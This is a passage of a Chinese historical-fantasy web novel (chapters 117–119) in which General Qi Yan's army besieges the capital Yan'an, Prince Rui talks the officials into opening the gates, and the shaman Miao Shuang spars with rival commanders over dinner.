祁雁点头:“可看到有肉?” “有腊肉,怎么了将军?” “弄点出来炒菜,”祁雁又道,“魏然,把你的辣椒也匀点出来。” 魏然闻言大惊:“您怎么知道我带了辣椒?!” 祁雁笑而不语。 最终,魏小将军只得贡献出自己珍贵的辣椒,和腊肉一起炒了盘菜,可惜缺点蕺菜,只能用其他菜代替了。 祁雁端着饭和炒腊肉进了苗霜的营帐,苗霜正打着哈欠坐起身来,刚刚他小睡了一会儿,头没那么疼了。 鼻端闻到饭菜的香气,感官渐渐苏醒过来,他看了一眼那盘炒腊肉,有些惊讶:“军营里能吃上这么好的饭?” 这一路行军,除了经过补给点时能吃上几口新鲜的蔬菜和肉,其他时间基本都是干粮、酱菜,看着就没胃口。 祁雁递给他一双筷子:“都是从禁军的军粮里找来的,夫人,快吃吧。” “这禁军的伙食就是不一般,”苗霜轻挑眉梢,从炒腊肉里夹起半颗干辣椒,“这也是禁军的军粮?” “这是让魏然忍痛割爱换来的,这小子出蜀时偷偷带了一罐辣椒,却不知道拿出来给大家分,太不懂事,我已经骂了他。” 苗霜被他逗笑了,将那颗辣椒放进嘴里:“蜀民无辣不欢,你要他让出辣椒,比杀了他还难受。” 从蜀地带出来的酱菜都是辣的,可惜出蜀以后就吃不到了,久违的辣味在口腔里燃烧,苗霜瞬间就有了食欲。 祁雁又拿来一坛酒:“夫人,来口?” 苗霜拿起酒碗:“来。” 他们之前从梁州运来的酒都在“鬼火阵”中用完了,这酒也是从禁军营地缴获的,这帮人不光有肉吃,还有酒喝,也不知是来打仗的还是来享福的。 日子过得这么滋润,打败仗也就在情理之中了。 两人就着一盘炒腊肉扒拉光了米饭,又喝了半坛酒,没喝完的祁雁拿出去给手下人分了。 吃完了饭,头也不怎么疼了,苗霜离开营帐出去透了会儿气,被将士们团团围住,魏然吸了吸鼻子,仿佛还在闻肉的香味,馋得眼睛都要冒绿光:“大巫,炒腊肉香不香?” “香,”苗霜笑道,“但比炒腊肉更香的,是魏小将军的辣椒啊。” 一听“辣椒”二字,魏然登时崩溃了,对着祁雁大声控诉:“将军,您还我辣椒!” 将士们的笑声响彻整座军营,将快乐建立在他的痛苦之上,祁雁面色坦然,毫无愧色:“魏小将军,人不能这么抠门,咱们拿了禁军兄弟们的肉和酒,总得回报点什么吧,正好让大家尝尝‘蜀味’,独乐乐不如众乐乐,你说是吧?” 他说着转向不远处聚在一起吃饭的禁军们,抬高音量:“大家觉得这菜里加点辣椒,味道如何啊?” “好吃!”禁军们纷纷竖起大拇指,“饼子都多吃了三个!” “我就说饼子怎么没得这么快,原来是被你吃了!” “哈哈!谁让你手慢!” “蜀地的辣子算什么,”提起辣椒,最有发言权的还要数苗霜了,他抱着胳膊,“等有机会,请你们尝尝我们黔地的辣子。” 众人围着他打听了一大堆关于辣椒的问题,军营里的氛围前所未有的欢快,一罐辣椒消除了两支军队间的隔阂,人们渐渐打成一片。 战事终于结束,这晚,所有人都睡了个好觉,苗霜和祁雁在同一个营帐里睡了一宿,第二天便恢复了精神,还帮军医医治了几个重伤的士兵。 前去清点伤亡的人也已返回,来到营帐向祁雁汇报:“报告将军,此次战役,我方共阵亡247人,轻伤416人,重伤39人。” 另一个禁军士兵道:“禁军共阵亡2581人,轻伤566人,重伤117人。” 这个数字倒是在祁雁的预期之内,他点了点头:“辛苦各位了。” “将军,所有的生死牌均已收回,都在这里了。” 一个箱子摆在了面前,里面是许多枚木牌,有不少都染了血,有的甚至已经残缺不全。 祁雁沉默下来,半晌,无声地叹了口气。 不论战争胜或败,有些人注定是回不来了。 “魏然,把这些收好,”祁雁道,“此地距离晏安城已不过三百里,都走到这儿了,无论如何也要带他们去帝都看看,等看过了帝都繁华,再回家也不迟。” 魏然眼圈一热:“是!” 众人也皆是眼中有泪,而今天气转暖,尸体若是不及时处理,很有可能腐烂引发瘟疫,他们又不可能带着这些尸体一起进京,只能选择就地掩埋。 能带回去的东西,也不过一些随身物品而已。 士兵们开始在附近挖坑立坟,让阵亡的兄弟们入土为安,苗霜也帮忙医治了伤员,伤重不治者大大减少,不论缺胳膊少腿,也总算是捡回一条命来。 大军又在营地停留了两日,准备启程前往晏安了。 祁雁留下了三千人驻守散关,伤者乘船随渭水顺流而下,其他人则跟随大军一起行动,包括已经超度完亡魂的道士们。 十四万大军浩浩荡荡前往晏安,前路已是一片坦途,畅行无阻。 渭水自身侧奔流而过,巍峨都城渐渐出现在视野尽头,祁雁坐在高头大马上,极目远眺。 苗霜骑着白马跟在他身旁,身后是声势浩大的兵马,军旗在风中猎猎作响。 时隔一年零三月,他们终于又回到了这座繁华兴盛的晏安城。 第117章 第 117 章 这皇位祁雁坐得,难道…… 数日前, 帝都晏安,皇宫。 “……你说什么?”季渊难以置信地看着前来传讯的小太监,“你再说一遍?!” 小太监跪在地上, 瑟瑟发抖,大气也不敢出:“是……范阳节度使听闻祁雁率阴兵攻破梁州, 震怒,遂派出兵马前来支援, 愿替帝出征,助陛下平叛……” “荒谬,荒谬!”季渊勃然大怒,猛地把桌上的东西扫落在地,价值千金的茶具瞬间摔得粉碎,“谁准他自作主张?!没朕的命令,谁准他擅自出兵?!” 小太监深深把头埋低,浑身抖如筛糠。 季渊深吸一口气,用力闭了闭眼:“他手下人马现在何处?” “已、已经……攻占了东都……” “……河东道呢, 河东道在干什么?速命河东河南出兵把他给朕拦下来!” “河东……已经出兵了,”小太监吓得几乎要流出眼泪, “河东节度使听闻祁雁起兵反叛的消息,亦震怒,也派出兵马支援,现与范阳兵马两军合一,十万余众,不日将抵达潼关……” 季渊:“……” “好, 好啊!”他怒极反笑,脱力般跌坐下来,“看来朕这皇位, 谁都想坐,那就让他们来,让他们来!” “陛下,”青书上前一步,“潼关天险,易守难攻,现在当务之急,是派人守住潼关,保帝都无恙。” “派谁,你告诉朕,朕还能派谁?” “……”青书沉默下来,看向还跪在地上的小太监,“你退下吧。” 小太监匆匆离去,季渊忽然抓住青书的手,抬头看着他:“青书,朕是不是真的错了?这些年来,朝中将领被朕杀了十之八九,到头来,朕才发现朕手下已无人可用……朕是不是错了,你告诉朕。” “陛下……没错,”青书咬了咬牙,“是他们对您不忠,忘恩负义,该杀。” 他也陪季渊坐下来,轻声安抚:“陛下,不知熊将军那边战况如何了,若他能及时赶回,镇守潼关,兴许还来得及。” “来不及了,青书,”季渊拉着他的手,“他要走朕的十万精兵,害京中无人,让范阳河东趁虚而入,你又怎知,他不是祁雁的同党?说不定现在,朕的禁军已经成了祁雁的人。” 青书:“……” “朕现在能信任的只有你了,青书,你告诉朕,朕该怎么办?” “若潼关失守,晏安必陷,陛下,不如……我们早做打算,离开京都,暂避锋芒。” “你让朕逃?”季渊意味不明地笑了下,“西有祁雁,东有范阳,朕还能逃去哪儿?” “陛下可以南下,”青书劝道,“趁现在两路兵马未至,离京还来得及,等他们进入晏安,说不定自己就会打起来,到时候陛下再坐收渔利,择日返京,这天下还是您的。” “不,”季渊松开了他的手,“朕不逃。” “陛下!”青书有些焦急起来,“范阳河东十万雄师,潼关顶不住啊!若现在不走,一旦兵临城下,就来不及了!” “朕是皇帝!”季渊陡然拔高音量,站起身来,“仓皇出逃,颜面何存?!” “陛下,生死攸关……” “这皇位,是朕好不容易才得来的,若想取而代之,那就从朕的尸体上踏过去!”季渊突然笑了起来,“这晏安城,也是朕的晏安城!欲得朕位,先破晏安,若朕身死,又要这晏安何用?就叫这晏安城为朕陪葬!哈哈哈哈——!!” 青书目光震动:“陛下……” 季渊放声大笑,神色已然癫狂,他赤着脚在寝殿里走动,又忽然冲向青书,紧紧攥住他的手腕,目光灼灼:“青书,你也为朕陪葬如何?有你作伴,朕在九泉之下也不孤单。” 青书一惊,急忙双膝跪地:“奴婢一介宦身,恐配不上陛下。” “……连你也要弃朕而去?”季渊倏地变了脸色,掐着他手腕的五指用力,将他腕间皮肤掐得泛白,“朕再问你一次,你当真不愿给朕陪葬?!” “奴婢不敢!奴婢只是觉得自己身份低微,不配染指皇陵!陛下九五之尊,自有天佑,而今时局未定,陛下也不必如此悲观,兴许还有转圜余地——” “你们究竟为何不愿给朕陪葬?”季渊弯下腰来,侧过脸来看他,“朕赏你们荣华富贵,这京中百姓,哪一个不是受了朕的恩惠,才能享安逸富足!朕给了你们这么多,怎么反过来要你们付出一点,就如此推三阻四?!” “……” “既然不愿,那就去死吧,”季渊拿下摆在架子上的佩剑,猛地拔剑出鞘,“朕已经给了你机会,是你自己不珍惜。” 青书闭上眼睛。 锋利的剑刃贴上他的颈侧,立刻擦出一道血痕,他脸上却并无惧色,只将脊背挺得笔直:“能死在陛下手中,是奴婢的荣幸。” 季渊:“……” “当啷”一声,长剑掉落在地。 * 最终,季渊调集了手下仅剩的兵力和将领赶赴潼关,可惜依然是杯水车薪,范阳河东的兵马一路势如破竹,不可阻挡。 大雍121年,天庆八年,三月廿九,十万大军围城,帝都晏安危在旦夕。 原本车水马龙,商贾往来络绎的晏安城此刻城门紧闭,城外黑云压城,城内愁云惨淡。 城外大军扎营处,主帐之内,一场谈判正在进行。 河东行军统帅张晋嘬了口茶,颇觉没滋没味,他放下茶盏,对坐在对面的人道:“陆兄弟,我看咱们也没必要等祁雁吧,这围城多日,粮草消耗可是不小啊。” 陆暄轻轻摇晃着茶盏里的茶,眼皮也不抬一下:“张兄若是等不及,不妨率先攻城,陆某为你殿后。” 张晋一听这话,连连摆手:“陆兄弟这就见外了,河东河北素来亲如手足,范阳起事,我们立刻支援,陆兄弟可不能卸磨杀驴,用完就扔啊。” 陆暄瞥他一眼,心说他怎么不知道两道何时亲如手足了,支援……说得好听,不过是看皇帝势颓,趁机插上一脚,分一杯羹。 “可大人给我的命令,是此番围城不攻,陆某无权和张兄商议其他。”陆暄不咸不淡道。 “陆兄弟话别说得这么死嘛,”张晋向他靠近,凑过脸来,压低声音道,“你我都已多次侦察,这晏安城里所剩禁军寥寥,一群乌合之众,敌不过咱们一击啊,咱们与其在这里干等着,白白消耗粮草,还不如速战速决。” 他说着攥起拳头,仿佛已将晏安城攥在手中:“百年帝都,唾手可得,都走到这儿了,陆兄弟和你家那位大人,难道就不想图谋一二?” “大人什么想法我不知,他三顾茅庐来请我,我也只能拿钱办事,张兄若想询问大人的意见,不妨自己给他传书一封,陆某可不会越俎代庖。” 张晋嘬了下牙花子,这姓陆的真是茅坑里的石头,又臭又硬,祁雁再过几日只怕就要到了,一旦祁雁抵达,他们就要错失良机。 他还是不死心,又道:“陆兄弟自己难道就没有一点想法?而今这局势,谁先进京,谁就是皇帝,这皇位他祁雁坐得,难道你我就坐不得?陆兄弟乃范阳陆氏,名门之后,别说一小小幕僚,就是位至宰相也未尝不可啊!陆兄弟,难道你就真的甘心屈居于人下?” 陆暄闻言,不禁翻了个白眼:“屈居人下吃你家大米了?也不看看自己几斤几两,敢在这对我吆五喝六。姓张的,我警告你,你想攻城,我不拦你,你想当皇帝,我也不拦你,只是你别想拖我下水,想驱虎吞狼也先照照镜子,这皇位你坐得,却不一定坐得稳,别坐了两天就被祁雁从龙椅上踹下来,丢人现眼。” “你!”张晋拍案而起,吹胡子瞪眼,“我好声好气同你说话,你怎的这般无理!” “就是无理,怎样?我们范阳陆氏,心高气傲,我能自降身份和你共处一帐,已经是给你面子。” 张晋气得七窍生烟,指着他的鼻子,忍不住破口大骂:“我看你是怕了,不敢与祁雁两军对垒!什么范阳陆氏,不过如此!” “识时务者为俊杰,不识时务者为蠢才,陆某最讨厌和蠢人说话,你若不怕和祁雁兵戈相向,那你就去。” “你真当我怕?!祁雁手下不过四万杂兵,我河东兵力不输朔方雁归军,就算真与他兵戈相向,又能如何?!” “说你蠢你还真来劲了,他出蜀时是四万杂兵,难道现在还是?你真以为他在秦岭磨蹭这么久,是和禁军血拼去了?你猜猜他抵达晏安时,麾下究竟是四万人,还是十四万人?” 张晋:“……” 陆暄站起身来,看不爽他许多天了,早就憋着一肚子火,嘲讽的话倒豆子一样蹦个不停:“既然你们河东这么强,倒是去把狄历灭了,给咱们大雍壮壮国威,你姓张的这辈子杀过几个狄历人,一只手数得过来吗?同样是大雍子民,不想着共御外敌,倒是会四处添乱,兵不少练,派上用场的却没几个。” 张晋:“…………” “多少年来狄历觊觎关中,哈喇子都快流下来了,大雍换帝,狄历必有动作,这龙椅就是把烫手的山芋,谁接了,谁就得收拾季渊留下的烂摊子,既然河东有意,那我们范阳就不奉陪了,陆某先在这里祝张兄马到成功。” 陆暄说着,十分敷衍地冲他一抱拳,转头就往外走:“拔营——” 张晋吓得一激灵,急忙把他拦了回来,赔笑道:“别别别,陆兄弟别生气,是我说错话了,是我以小人之心度君子之腹,我在这里给陆兄弟赔个不是。” 陆暄把眼珠一翻,不搭理他。 “陆兄弟说得在理,是我莽撞,从今往后,我不会再提。” “算你识相,”陆暄没好气地坐了回去,“既然如此,那就老老实实地在这等祁雁来。” 第118章 第 118 章 开城门,迎新帝。…… 祁雁的兵马在晏安城西郊驻扎, 两批人马加起来共计二十余万,将偌大晏安城围了个水泄不通。 晏安为一国之都,人口甚众, 城内百姓生活所需基本都靠从城外运输,而今城门一关, 供给断绝,不出三日, 城内已是人心惶惶,百姓叫苦不迭。 而城外驻扎的大军没有一点要攻城的意思,两批人马甚至相安无事,探子每天来来往往,看看就走,若是赶上饭点,还要邀请对方的探子进营帐坐坐,吃口饭再走。 攻城的不急,急的只能是守城的, 晏安城不仅百姓众多,更有无数达官显贵, 大军一来,他们来不及撤离就被关在了城里,这些人金贵骄横,哪里受得了困城之苦,个个破口大骂,要求打开城门放他们离去, 京兆府的门槛都要被踏破了。 才困城几日,城内粮价已是飞涨,一米难求, 更别提新鲜肉菜,所有肉肆菜摊通通断货,西市之内一片萧条。 京兆府尹焦头烂额,却是束手无策,困城多日,他每日忙得脚不跟地,嘴皮子都磨得起了一圈燎泡。 别看他是晏安城最高官,实际上一举一动处处遭人掣肘,一怕皇帝,二怕权贵,三怕禁军,给哪位爷伺候得不满意了都要掉脑袋。 上辈子杀人,这辈子当京兆尹。 刚刚劝走了一波前来闹事的官家恶少,京兆尹两眼放空,站在院子里,望着晏安城上空湛蓝的天,觉得自己这颗脑袋是指日可掉。 他精疲力竭,正打算休息片刻,手下官吏又匆匆来报:“大人,瑞王来了。” 京兆尹愣了一下:“谁?” “瑞王殿下。” 京兆尹咽了口唾沫:“快,快请!” 自从季渊称帝,皇室血脉便杀了又杀,死了又死,而今还硕果仅存的也就只剩下这位瑞王殿下,皇帝对这个最小的弟弟还算宠爱,时常给些赏赐,兴致来了,也叫他进宫作陪。 既然皇帝喜爱,那他们这些在天子脚下当官的,自然得把瑞王伺候得舒舒服服,瑞王此人胸无点墨,又好附庸风雅,养了一大堆门客,天天吟诗作赋饮酒行乐讨他开心,今日打叶子牌,明日又跑去击鞠,府中名马、美人不计其数,还爱看胡戏,可谓是夜夜笙歌,挥霍无度。 而今城一封,瑞王的享乐生活遭到破坏,自然难以忍受,京兆尹冷汗都下来了,急忙来到府衙门口亲自接待,满脸堆笑:“哎呀!这是什么风,把殿下您给吹来了!” 门外停着一辆极尽奢华的马车,车帷由丝绸和金线织就,点缀各式宝石珍珠,连拉车的马都穿金戴银。 马车前后跟着三四十个随从,马车一停,便迅速放下脚踏,小心翼翼地扶车内的人出来。 从车里下来一位俊逸非凡的青年,这人看上去不过二十出头,容貌和季渊完全不像,生着一双标准的狐狸眼,一笑起来可谓是风情万种,颇有些雌雄莫辨的意味。 他手持一柄名家提字的折扇,唰地展开来,上面是“名士风流”几个龙飞凤舞的大字,自顾自地扇了扇,这才不紧不慢地托了一把京兆尹的手,笑眯眯道:“大人这么客气做什么,不必多礼。” 京兆尹腰都要弯断了才被他开恩,暗骂了一句这假惺惺的王爷,脸上依然是职业假笑,伸手比了个“请”:“殿下,快请进府内一叙。” 京兆尹恭恭敬敬把这位王爷迎进府中,正要吩咐手下人端茶倒水,就听瑞王的随从开口道:“大人不必忙,我们来就好。” 随从们行动迅速,先擦了桌椅供瑞王坐下,又掏出自备的茶叶和茶具,烹茶倒茶,按肩揉腿,好不忙碌。 京兆尹眉头跳了跳。 “大人请,”瑞王季澜很大方地和他分享这京都官员一年俸禄都买不来一两的茶叶,“对了,大人姓什么?” 京兆尹眼皮也跳了跳:“回殿下,敝姓邹。” “哦,原来是邹大人,幸会,”季澜收起折扇放在一边,端起茶盏喝了口茶,“本王来此,也没什么要事,主要是近日大军围城,城门关闭多日,实在很影响本王的生活哪。” 邹大人早就猜到他是为此而来,脑子里斟酌已久的说辞还没到嘴边,就听对方又道:“封城前本王答应了和朱家二公子去打马球,这一连多日,谁也出城不得,本王被困在这晏安城里,快要憋出病来了。” 邹大人:“…………” 城内百姓都快吃不上饭了,这位王爷想的居然是封城耽误他出城打马球。 “大人可有什么对策,这城门还要关到几时?” “呃,这……”邹大人为难道,“这皇帝不发话,下官也没什么办法啊,不如烦请殿下进宫一趟,问问陛下,这困城之危究竟该如何解?” “但凡皇兄肯见我,我还会来找大人吗,”季澜叹了口气,“这些天想要进宫面圣的臣子一茬接着一茬,可陛下一个都不见,本王也是无可奈何,才来这京兆府的。” “这……”邹大人额头的汗越出越多了,“兴许……陛下正在想办法,要么就请殿下再多等几日?” “就算我等得,这城里的其他人又还等得吗?”季澜唇边的笑意忽然淡去,“大人,当断则断,我知大人身在这个位置,需八面玲珑才能明哲保身,不卷入任何党争,也不与任何人为敌,但而今大军围城,皇兄大势已去,大人若再不及时做出选择,恐城破之日,第一个被献祭的就是你这京兆府尹啊。” 邹大人蓦地睁大双眼,难以置信地看着他,他认识瑞王也有多年了,还从没听他谈论过关于朝堂局势的话题,瑞王平素里只顾享乐,对这些东西毫不过问,今日竟然…… “当然了,这些其实跟我没什么关系,”季澜展开折扇摇了摇,“我与那祁雁也算有过几面之缘,想必他不会对我一个游手好闲的王爷痛下杀手,有我在,季雍皇室血脉尚未断绝,他这个皇帝也能当得轻松些,我相信祁雁是个聪明人,你说呢,邹大人?” 邹大人看着他笑眯眯的表情,从没有任何一刻比现在更觉得这位瑞王长得像个狐狸。 瑞王的意思已经很明显了,皇帝大势已去,改朝换代就在眼前,并且新帝十有八九就是祁雁。 如果是以前,邹大人是万万不信的,也万万不能做出任何悖逆皇帝的举动,可事到如今,皇帝闭门不出,不见朝臣,对京中混乱不闻不问,让人实在没办法再对他寄予希望。 这皇帝……该不会是想拉整个晏安城给他陪葬吧。 以季渊的性子,还真做得出来。 邹大人擦了擦额头的冷汗,思绪电转:“就算我有意助殿下一臂之力,这城中禁军却不肯哪,禁军只奉陛下之命行事,我这个京兆尹,实在没有话语权。” “大人莫要妄自菲薄,这京中治安由京兆府、禁军金鹰卫、左右巡三方共同管理,左右巡隶属御史台,好巧不巧,和我约好去打马球的朱二公子,正是御史大夫家备受宠爱的小儿子,再加上京兆尹大人您,以及本王,您说这个面子,禁军卖是不卖?” 邹大人:“……” 这瑞王殿下看似玩世不恭,却对京中局势了如指掌,将御史大夫家没脑子的小公子拉入彀中,又借此来说服他这个京兆尹,看来他们全都小看了瑞王,此人当真深不可测,一直以来,都不过是在隐藏实力罢了。 若非如此,早就死在了季渊手里。 “大人若是决定好了,就陪我走一趟吧,可别让朱二公子等太久。” 邹大人赔着笑脸:“是,是……都听殿下的。” 两人离开京兆府,各自上了马车,向城门而去,不多时,又有一辆马车靠上来,与他们并驾齐驱,车帘拉开,有人从里面探出头来,冲着季澜的车驾吹了声口哨:“澜哥,你还真把府尹给绑来了?” 季澜也撩开车帘,对那人道:“怎么能叫绑呢,这叫‘请’,府尹大人可是心甘情愿帮我们的。” 邹大人汗流浃背,暗自叫苦。 马车很快抵达了城门,果不其然被镇守的禁军拦下:“站住!陛下有令,城门封锁,不得出城!” “嘿,你算个什么东西也敢拦我?!”朱二公子从马车上跳了下来,嚣张道,“你知道我爹是谁吗?我爹是御史大夫朱成功!识相的就给小爷滚开!” “这……”那禁军守卫一听来人大名,态度不禁放缓了些,“原来是朱小公子,不是下官不愿放小公子离去,实在是大军围城,这城门开不得!还请小公子通融通融,再忍耐几天。” “几天几天,小爷都忍了几个几天了!”朱二公子怒道,“大军围城又如何,姓祁的敢伤小爷一根毫毛吗!你们赶紧给我让开,小爷今天务必、一定要和瑞王殿下出城去打马球!” 那守卫大惊:“瑞、瑞王?” 这时,季澜才从马车上下来,对他道:“本王无意为难你们,若你做不了决定,那就去请你们的大将军来吧。” 那禁军一听,如蒙大赦:“是,下官这就去!” 大将军很快赶来——如今城内禁军只剩不到两万,已无人可用的禁军换将比翻书还快,现在掌管金鹰卫的大将军竟是个比瑞王还年轻的生面孔,才上任几天,哪里见过这种阵仗,一时左右摇摆,拿不定主意。 瑞王都下车了,京兆尹也不能躲在旁边看戏,他好声好气地劝道:“而今晏安困城已久,粮价竟已涨到百文一斤,连京兆府都三天没吃上蔬菜了,再这样下去,你我如何活,城中百姓如何活啊?” 大将军面露难色:“可陛下有命……” “唉,”邹大人叹了口气,“大将军,您有多少日没见过陛下了?” “这……自封城日起,就再没见过。” “那不就结了,陛下俨然已经不想管城中百姓死活!听闻近日已有民众饿死,尸首也无处掩埋,只能草草用席子裹了,露天摆放,风吹日晒,臭不可闻!而今夏天将至,尸体腐烂迅速,若是再过几天,死得人更多了,蚊蝇满城,恐瘟疫横行啊!晏安城人口百万,这疫病一闹起来,别说百姓,便是你我也难逃一死,到时候这巍巍国都,恐成人间炼狱!” 大将军内心剧烈挣扎:“可而今大军围城,这城门一开,晏安必陷!” “大将军,您还不懂吗?”邹大人上前一步,握住他的手,已是老泪纵横,“陛下已弃民众于不顾,如此残暴昏庸之人,怎堪当人君?!皇帝不仁,难道我们还要对他持节守义?!” 大将军:“这……” 三人争执期间,已有不少百姓被这边的动静吸引,接二连三走上街头,往城门方向而来。 饥肠辘辘的人们自发地聚集起来,他们手无寸铁,在兵甲齐备的禁军面前似乎不堪一击。 “大将军,快做决定吧!”邹大人晓之以理动之以情,“晏安百万人口,饿死之前,必将起义,仅凭城里剩下的这点禁军,又如何拦得住啊?” 已有百姓走上前来,靠近了他们的车驾,不知是谁先开口:“开城门!” 众人回头望去,只见大街小巷间人头攒动,呐喊之声一呼百应:“开城门!开城门!!” 晏安百姓纷纷向城门聚集,他们当中有男有女,有老有少,神情或绝望,或愤慨,但不论他们身份为何,家住何处,此刻都不约而同地攥着拳头,高声疾呼,城门之内沸反盈天。 “够了!别再上前了!”大将军拔出刀来,大声喝止,“城门一开,叛军进城,没人能保护你们的安全!” 他的声音淹没在鼎沸人声里,完全无人在意,只剩一声高过一声的:“开城门——!!” 群情激愤,禁军已无力维持秩序,大将军转过身:“开城投降,速速开城投降!” 城楼之上竖起白旗,守卫们移开了拒马,开始合力打开沉重的城门。 季澜回到马车上,对朱家二公子道:“贤弟,可敢与我一起,做第一个出城的人?” “有何不敢?!”朱二公子也跳上马车,“这天底下就没有小爷不敢的事!” 他说着吩咐车夫:“听好了,小爷要和瑞王殿下一起出城,不准有任何一人抢在我们前面,否则的话,小爷砍了你们的脑袋!” 城门缓缓开启,车夫一挥马鞭:“驾!” 城外。 探子第一时间发现了晏安城的异动,祁雁亲率人马来到城下,只见城楼之上白旗高悬。 城门缓缓打开了一条缝,魏然高声道:“弓箭手准备!” 虽然可能性不大,但还是要提防这是敌军诈降之计。 数不清的箭矢对准了城门方向,紧闭多日的晏安城门终于再次开启,首先映入眼帘的,是一辆奢华至极的马车。 马车不紧不慢地自城门而出,箭矢的瞄准方向也随之移动,紧随其后的还有另一辆马车,有人从车窗探出头来:“还真刺激啊!瑞王殿下,你是这个!” 他冲前车比着大拇指,高喊道:“打马球去喽!” 季澜伸手挑开车帘,看了看后方兴奋雀跃的朱二公子,又将视线投向远处,遥遥和祁雁他们目光相接。 游刃有余的笑意挂在脸上,像只得逞的狐狸。 魏然:“将军!他们……” “放他们走,”祁雁看着那辆马车,一直目送他们离去,“明秋,那可是你家殿下的车驾?” 明秋颔首:“是。” 祁雁:“殿下就这般出城,随从也没有,太不安全,你们几个跟上去,天黑之前,护送殿下回来。” 几个士兵骑上马,追着瑞王的车驾而去。 魏然抬手比了个“停”的手势,弓箭手们纷纷放下了弓箭,步兵持刀上前,威慑蠢蠢欲动想要出城的百姓。 苗霜的视线还停留在瑞王消失的方向,皱了皱眉:“此人……” “怎么了,夫人?” “没什么。” 匆匆一瞥间,莫名觉得那人有点眼熟,却又想不起是在哪里见过。 或许是看错了。 祁雁没再追问,高声道:“敌军已降,诸位,随我进城!” 第119章 第 119 章 夫人可别趁我不在偷偷…… 天庆八年, 四月初十,晏安困城十日,弹尽粮绝, 开城投降。 祁雁手下兵力迅速控制了城楼,所有禁军跪地受缚, 等待发落。 民众们退至两侧,让出道路供大军通行, 祁雁骑着高头大马,俯看城中百姓万千。 犹记得他被一纸诏书发配黔地,离京时遭到百姓夹道“送行”,辱骂之声不绝于耳。 人们骂他乱臣贼子,今日,他还就真当了这个乱臣贼子,窃钩者诛,窃国者侯。 旧时人们拿烂菜叶子和臭鸡蛋砸他的车马,而今, 却是连烂菜叶子和臭鸡蛋也要抢而食之,不过十日围城, 高傲的帝都人民便低下了他们的头颅,跪在道路两侧,瑟瑟如惊弓之鸟。 祁雁收回视线。 祁雁的兵马自西门入,范阳河东的兵马自东门入,两拨人马在皇宫门前狭路相逢,两相遥望, 皆驻足不前。 “我就不随你进宫了。”苗霜开口道。 “为何?” “季渊身上有蛊王血,虽然我也不能确定影响范围有多远,但我离他越近, 影响就越深是肯定的,我若进了皇宫,只会给你添乱。”苗霜道。 祁雁还记得他命蛊反噬时的样子,自然也不忍心让他再承受一次,点点头道:“那等我斩了季渊,再来接夫人进宫。” 他从马背上跳下来,往宫门而去,又有些不太放心:“夫人可别趁我不在偷偷溜走。” 苗霜一哂:“这城里城外到处都是你的人,我能跑到哪去?放心吧,就算要跑也不是现在,我还得替你会会对面那两位。” 祁雁严肃起来:“什么时候也不行。” 苗霜摆了摆手,示意他赶紧去干正事,一夹马腹,望向对面的人:“两位,何不上前一叙?” 祁雁带了人马进宫,负责守卫宫门的禁军已被制服,陆暄坐在马背上,冲身边人道:“张兄,怎么不随祁将军一起进去?帝王之位唾手可得,机不可失时不再来啊。” 张晋连连摆手:“不敢不敢!陆兄弟莫要折煞我了!” 陆暄这才策马上前来,上上下下打量着苗霜:“你就是那位传说中能活死人肉白骨的苗疆大巫?白发赤眸……这模样还真是让人一眼难忘。” “活死人肉白骨不敢保证,但毒死人化白骨是信手拈来,怎么,陆大人想试试?” “哦呦,好吓人呢,”陆暄啧啧称奇,“我和祁雁也算旧识,怎么不知道他好这口?” “我也不曾听闻,范阳节度使酷爱三顾茅庐。” 两匹马就在原地绕起圈来,马背上的两人谁也不肯退让,一旁的张晋看得丈二和尚摸不着头脑:“什么情况这是?” 苗霜:“姓祁的将死时,要把一切都托付给你们范阳,今日我倒要看看你们范阳究竟有什么资本让他如此信任,远隔数千里却能打配合,你这白衣幕僚,有何过人之处?” “什么将死?托付什么?”陆暄疑惑了下,“大巫说话怎的如此难懂,莫非是陆某智力不足,不配和大巫同台共语?” 张晋:“……” 他身后的随行队伍里,一个独臂士兵正一言难尽。 大巫说的那封“遗书”,到现在还在他手里,没能送得出去,他又不知道藏在哪里安全,只好一直带在身上。 姜茂离开队列,快步上前:“两位大人,不如属下给二位订下酒楼,边吃边聊。” 苗霜和陆暄同时向他看来,看清他是谁以后,苗霜道:“你还活着啊。” 姜茂:“……” “那好吧,看在你平安无恙的份上,就听你的。” 陆暄:“我也有些饿了,第一次来京都,不认路,前面带路吧。” 战场莫名其妙从宫门转移到了酒楼,张晋还是一头雾水,只得带人在后面跟着。 姜茂帮他们订了城里最好的酒楼——之前晏安封城多日,酒楼也早关门了,现在掌柜的掌厨的跑堂的又被强行从家里抓来,被迫开张,连菜都是大军刚从城外带进来的。 酒楼里一干人等头大如斗,用仅有的肉菜做了一顿看上去还算丰盛的午饭,掌柜的亲自侍候:“几位大人,请慢用。” 苗霜扫了一眼那菜色,已是皱起眉头:“一点辣都没有,这菜如何吃?” 陆暄大惊:“若是加了辣椒,这菜如何吃?” 掌柜的:“呃……” 只有张晋夹了一筷子菜,放进嘴里品尝:“我觉得还不错啊。” 两道视线冷冷看向他。 张晋莫名其妙:“我又说错什么了?你们看我做什么?” 掌柜的偷偷擦了擦额头冷汗:“几位大人,小店……暂时没有辣椒,不过若是大人需要,小店马上引进!等下次大人再来,小店一定为大人奉上让您满意的菜!” 苗霜也懒得刁难一个酒楼掌柜,摆摆手道:“这不需要你了,你下去吧。” “是,是。” 掌柜的如蒙大赦,一溜烟地跑了,陆暄也屏退了闲杂人等,现场只剩下苗陆张姜四人。 姜茂也打算溜走,却被苗霜叫住:“你留下。” 姜茂只得停步。 “如果我没记错,祁雁那封遗书是交给了你,拿出来。”苗霜道。 姜茂转过身,在衣服里摸了又摸,才摸出那张已经折成一点点大的信纸,交到苗霜手里:“都过去这么久了,大巫还记得。” 苗霜将信纸展开,推给陆暄:“上面都写了什么?念。” 陆暄翻了个白眼:“你让我念我就念?” 苗霜眯了眯眼:“你刚刚喝的酒里,我已经下了毒,若想得到解药,念。” 陆暄:“……” 正在喝酒的张晋:“噗——” 一口酒全喷了出来,呛了个昏天黑地。 “……识时务者为俊杰,”陆暄拿起信纸,开始念,“子昭兄,见字如晤:兄近来可好?一别经年……” “没让你念这个,”苗霜打断他,“念密文。” 陆暄瞥了一眼坐在旁边的张晋。 苗霜一抬手:“他现在听不见了,念吧。” 张晋茫然道:“啥?” 陆暄将那封信从头到尾阅读了一遍,神色渐渐沉重:“这还真是遗书,你们这段时间到底经历了什么,他真被南照奸细暗杀了?” “自然没有,但祁雁差点死了是真,别问那么多了,快念。” 张晋:“你们怎么光张嘴,不出声啊?哎?喂?” 